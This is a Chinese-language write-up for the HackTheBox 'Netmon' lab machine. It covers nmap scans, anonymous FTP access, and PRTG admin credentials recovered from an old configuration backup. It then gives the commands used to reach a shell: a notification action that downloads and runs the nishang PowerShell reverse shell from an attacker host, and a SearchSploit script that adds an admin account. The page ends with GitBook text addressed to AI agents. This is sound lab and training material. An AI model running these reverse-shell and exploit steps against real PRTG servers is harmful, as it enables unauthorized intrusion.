> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md). # Netmon HackTheBox 详解 {% embed url="" %} {% hint style="warning" %} **技能：** * FTP 枚举 * 信息泄露 * PRTG Network Monitor 凭据泄露 * PRTG 通知命令执行 * PowerShell 反向 shell 投递 {% endhint %} ## 侦察创建工作区并执行完整 TCP 扫描： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts ```

运行有针对性的服务扫描： ```bash nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted ```

## FTP 枚举 FTP 允许匿名访问。

用户 flag 可通过 FTP 在用户桌面路径中读取。

## PRTG Network Monitor 80 端口暴露一个 **PRTG Network Monitor** Web 界面。

查看配置目录： ``` ProgramData/Paessler/PRTG Network Monitor/ ```

备份配置文件泄露了凭据： ``` PRTG Configuration.old.bak ```

恢复的凭据： * 用户名： `prtgadmin` * 密码： `PrTg@dmin2018`

由于该文件是旧备份，请尝试将密码中的年份更新。可使用以下凭据访问： ``` PrTg@dmin2019 ```

## PRTG 远程代码执行 PRTG 通知可以在服务器上执行命令。使用托管的 PowerShell 反向 shell 脚本，并通过通知操作触发它。 {% embed url="" %} 下载并准备 PowerShell 有效载荷： ```bash wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1 python3 -m http.server 80 ``` 启动监听器： ```bash rlwrap nc -nvlp 443 ``` 在 PRTG 中，前往 `Setup > Account Settings > Notifications` 并创建一个会下载并执行托管脚本的通知操作。

命令模式： {% code overflow="wrap" %} ```powershell abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')" ``` {% endcode %} 如果下载回调到达 HTTP 服务器但 shell 没有返回，请将 PowerShell 脚本编码为 UTF-16LE Base64，并使用以下方式执行： `-enc`: ```bash iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt ``` ```powershell abc.txt | powershell -enc ``` ## 自动化利用路径 SearchSploit 包含一个 PRTG 利用脚本，在提供有效的已认证 cookie 时会创建一个新的管理员用户。 ```bash searchsploit -m windows/webapps/46527.sh ``` 使用目标 URL 和会话 cookie 运行利用脚本： {% code overflow="wrap" %} ```bash ./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D" ``` {% endcode %} 该利用脚本创建： * 用户名： `pentest` * 密码： `P3nT3st!`

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.